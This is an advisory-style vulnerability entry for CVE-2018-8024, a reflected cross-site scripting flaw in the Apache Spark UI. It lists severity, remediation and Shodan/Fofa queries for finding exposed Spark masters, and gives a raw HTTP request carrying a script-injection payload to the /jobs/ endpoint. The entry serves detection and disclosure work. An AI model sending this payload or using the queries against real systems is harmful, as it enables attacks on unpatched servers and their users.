| Title | Apache Spark UI - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Attackers can execute arbitrary JavaScript in victims' browsers via crafted query string parameters, potentially stealing session cookies or performing actions on behalf of users. |
| Remediation | Upgrade to Apache Spark version 2.3.2 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.5025 |
| CVE ID | CVE-2018-8024 |
| CWE ID | CWE-79 |
| Shodan Query | title:"spark master at" |
| Fofa Query | title="spark master at" |
| Tags | cve cve2018 spark xss ui vuln |
Apache Spark UI before 2.3.2 is vulnerable to XSS via unsanitized query string parameters in the /jobs/ endpoint.
GET /jobs/?"'><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Version/8.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-8024.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-8024.pcap
N/AN/A